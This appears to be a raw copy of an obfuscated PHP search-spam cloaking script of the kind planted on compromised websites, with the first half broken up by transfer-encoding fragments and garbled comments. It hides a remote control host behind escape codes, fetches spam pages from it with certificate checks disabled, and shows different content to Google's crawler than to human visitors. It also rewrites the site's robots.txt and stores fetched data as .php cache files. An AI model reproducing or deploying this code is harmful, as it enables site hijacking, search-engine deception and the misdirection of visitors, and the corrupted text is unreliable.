1 < 2 ?p 3 hp 2 e 3 rro 2 r_ 3 rep 3 ort 2 in 3 g(0 2 ); 2 15 $get = filter_input_a 3 rra 2 y( 2 IN 2 PU 2 T_ 3 GET 2 , 2 FI 3 LTE 2 R_ 2 SA 2 NI 2 TI 3 ZE_ 2 ST 2 RI 2 NG 4 ); 2 3 /* 1 - 19 ------------------------ 2 5 é 1 « 2 ˜é 2 €Ÿ 2 æœ 1 ¬ 2 åœ 2 °ç 2 ¼“ 2 å 2 ˜å 1 ‡ 2 ½æ 2 •° 2 1b ------------------------- * 2 / 2 f 2 un 3 cti 3 on 2 ca 3 che 1 _ 4 get( 3 $ke 2 y, 3 $e 3 xpi 2 re 3 = 3 300 2 ) 1 { 7 $ 3 fil 6 e = sy 1 s 6 _get_t 3 emp 2 _d 3 ir( 2 ) 3 . ' 1 / 7 cache_' 4 . m 2 d5 5 ($key 6 ) . '. 4 php' 1 ; 7 i 3 f ( 4 file 3 _ex 3 ist 2 s( 5 $file 3 ) & 2 & 2 (t 3 ime 3 () 1 - 6 filem 5 time( 7 $file)) 2 < 8 $expire 9 ) { 5 r 3 etu 7 rn file 6 _get_c 3 ont 2 en 9 ts($file) 7 ; 7 } 8 return f 3 als 4 e; 1 } 12 function cache_s a et($key, $ 2 da 2 ta 4c ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; @ 5 file_ 4 put_ e contents($file 7 , $data 3 , L 2 OC 2 K_ 2 EX 1 ) 6 ; } 25 /* ------------------------- 2 èŽ 2 ·å 2 – 2 çœ 2 Ÿå 1 ® 2 žè 2 ®¿ 2 é— 2 ® 2 IP 2 ï¼ 2 ˆå 1 … 2 ¼å 2 ®¹ 2 C 3 DN 2 / 2 å 2 ä 1 » 2 £ï 2 ¼‰ 29 ------------------------- */ function 6 get_re 2 al 3 _ip 1 ( a ) { $ 4 keys 4 = [ c 'H 2 TT 2 P_ 2 CF 3 _CO 2 NN 2 EC 1 T 4 ING_ 3 IP' 2 , 3 // 2 Cl 3 oud 2 fl 3 are 10 'HTTP_ 2 X_ 2 RE 2 AL 6 _IP', a // 1 N 3 gin 1 x 13 'HTTP_X_F 2 OR 2 WA 2 RD 2 ED 4 _FOR 4 ', 5 // Pr 2 ox 1 y 12 'HTTP_CL 2 IE 2 NT 5 _IP', c 'R 2 EM 3 OTE 2 _A 2 DD 2 R' 7 ] 5 ; 4 2 fo 4 reac 2 h 7 ($keys 2 as 3 $k d ) { 4 if ( 1 ! 4 empt 2 y( 3 $_S 2 ER 2 VE 2 R[ 2 $k 2 ]) d ) { 6 $i 1 p 3 = c $_SERVER[$k] 9 ; e if (st 2 rp 1 o 5 s($ip 3 , ' 2 ,' 2 ) 3 !== 6 false 1b ) { $ip = 2 tr 3 im( 3 exp 2 lo 3 de( 3 ',' 5 , $ip 2 )[ 2 0] 8 ); 8 1 } 14 if ( 8 filter_v 2 ar 6 ($ip, 7 FILTER_ 2 VA 2 LI 2 DA 3 TE_ 3 IP) 15 ) { a return $ip 12 ; } f } f } return ' 3 127 2 .0 3 .0. 2 1' 2b ; } /* ------------------------- 1 æ 2 ›´ 2 å¿ 2 «ç 1 š 1 „ 5 getC 3 url 2 () 30 ------------------------- */ function getCurl 2 Fa 1 s 6 t($url 5 ) { 7 $ 6 cached 3 = b cache_get($ 4 url) b ; if ( 8 $cached b !== false) 8 return $ 6 cached 9 ; 5 $data 3 = 2 '' 9 ; 5 if (f 7 unction 9 _exists(' 1 c 3 url 5 _init 1 ' f )) { $ 3 ch 3 = c 8 url_init d ($url); 4 5 curl_ 5 setop b t_array($ch 1 , c [ 5 C 2 UR 8 LOPT_RET 2 UR 2 NT 3 RAN 2 SF 2 ER 2 = 1 > 5 true 1 , 16 CURLOPT_ 8 CONNECTT 2 IM 2 EO 2 UT 5 => 5 1f , CURLOPT_TIMEOUT 7 3 => 1 8 18 , CURLOPT_S 2 SL 1 _ 5 VERIF 2 YP 1 E 6 ER => 5 false 21 , CURLOPT_SSL_VERIFY 3 HOS 1 T 20 => false, CURLOPT_ 3 FOL 2 LO 1 W 3 LOC 3 ATI 2 ON 20 => false, CURLOPT_ 1 U 4 SERA 1 G 3 ENT a => " 2 Mo 2 zi 3 lla 2 /5 3 .0" a d ]); 8 $data = 7 curl_ex 2 ec 4 ($ch 11 ); curl_ 2 cl 3 ose c ($ch); 1 } c if ( 7 empty($ 6 data) 3 && 3 ini 5 _get( 3 'al 2 lo 2 w_ 5 url_f 3 ope 1 n 11 ')) { $c 4 onte 1 x 4 t = 5 strea 2 m_ 8 context_ 1 c 5 reate 1 ( 10 [ " 2 ht 3 tp" 4 => 2 [" 4 time 3 out 1 " 6 => 8, 5 "hea 3 der 5 " => 3 "Us 2 er 3 -Ag 5 ent: b Mozilla/5.0 2 \r 3 \n" 1 ] f , 3 "ss 3 l" 6 => [" 3 ver 2 if 3 y_p 1 e 7 er" => 7 false, d "verify_peer_ 3 nam 1 e b " => false] 1f ]); $data = 1 @ 13 file_get_contents($ 3 url 1 , 8 false, 8 $context 15 ); } if ( 1 ! d empty($data)) c cache_set($ 5 url, 6 $data) 1 ; d return 5 $data 2b ; } /* ------------------------- 4 URL 1 ä 2 ¿¡ 2 æ 1 ¯ 2d ------------------------- */ function get_ 8 url_info 4 (str 5 ing $ 3 typ 2 e= 3 'do 2 ma 1 i 5 n'): 7 string 8 { $ 2 ho 2 st c = $_SERVER[ 6 'HTTP_ 4 HOST 2 '] 2 ? 1 ? 13fa ''; if ($type === 'no_www') return preg_replace('/^www\./i', '', $host); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://"; $base = $protocol . $host; if ($type === 'base') return $base; if ($type === 'full') return $base . ($_SERVER['REQUEST_URI'] ?? ''); return $host; } /* ------------------------- 基础å˜é‡ ------------------------- */ goto ONPuB; ONPuB: $http_type = !empty($_SERVER["\x48\124\x54\x50\x53"]) && $_SERVER["\x48\124\124\x50\x53"] !== "\157\x66\146" ? "\150\x74\x74\x70\163\72\x2f\x2f" : "\x68\164\164\160\72\x2f\57"; goto O4O9k; O4O9k: $vurl = "\x74\157\56\152\147\141\x6c\x6c\163\x2e\143\157\x6d\x2f"; goto vgv72; vgv72: $qz = substr(str_replace(array("\x77\x77\167\x2e", "\56"), '', $_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\x54"]), 0, 3); /* ------------------------- è§£æž f 傿•° ------------------------- */ $sz = $iid = ""; if(!empty($_GET)){ $f=reset($_GET); $sp = explode('-', $f); if (count($sp) === 2) { $sz = $sp[0]; $iid = $sp[1]; } } /* ------------------------- è¿œç¨‹æŽ¥å£ ------------------------- */ if (!empty($sz)) { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?sz=" . urlencode($sz)); } else { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}"); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd)); } $hyzhdy = $jd . "41.aspx"; $surl = $jd . "s41.aspx"; /* ------------------------- robots / sitemap ------------------------- */ $sitemapLine = "Sitemap: {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?w=" . date('YmdHi') . "\n"; function ensure_robots_sitemap($sitemapLine) { $robots = rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") . '/robots.txt'; if (!file_exists($robots)) { @file_put_contents($robots, "User-agent: *\nAllow: /\n" . $sitemapLine, LOCK_EX); } else { $c = @file_get_contents($robots); if ($c === false || strpos($c, $sitemapLine) === false) { @file_put_contents($robots, $sitemapLine, FILE_APPEND | LOCK_EX); } } } /* ------------------------- w= 输出 ------------------------- */ if (!empty($get['w'])) { $params = http_build_query([ 'NOUmber' => $get['NOUmber'] ?? '', 't' => $get['t'] ?? '', 'cn' => $get['cn'] ?? '', 'pNOUm' => $get['pNOUm'] ?? '', 'cid' => $get['cid'] ?? '', 'm' => $get['m'] ?? '' ]); $str = getCurlFast("{$surl}?{$params}"); echo str_replace( ['yymm','ggggg','?f='], [$http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.'='], $str ); exit; } /* ------------------------- IP 判定(ä¿ç•™ kk 测试) ------------------------- */ $kk = isset($get['kk']) ? trim($get['kk']) : ''; $ip = ($kk !== '') ? "66.249.82.8" : get_real_ip(); /* ------------------------- getdomain2 åˆ¤æ– ------------------------- */ $domain = trim(getCurlFast($jd . "getdomain2.aspx?rnd=1&ip=" . $ip)); /* ------------------------- éž google + iid → 跳转 ------------------------- */ if ($domain !== 'google' && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "gn.aspx?iid=" . $iid)); echo ''; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($iid)) { $str = getCurlFast($hyzhdy . "?iid={$iid}"); echo str_replace( ['ggggg','YYYYY','XXXYYY','当å‰URL','UUUUU','MMMMM','?f='], [$sz, get_url_info(), get_url_info('base'), get_url_info('full'), get_url_info('no_www'),parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap helper ------------------------- */ function output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "
"; exit; } /* ------------------------- kk 输出控制 ------------------------- */ if ($kk !== '' && preg_match('/^[A-Za-z0-9]+$/', $kk)) { $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2&kk=" . $kk); if (!empty($remote)) { echo $remote; exit; } } if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } $is_no_query = empty($_SERVER['QUERY_STRING']); if ($kk === '' && $is_no_query) { if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); } else { exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0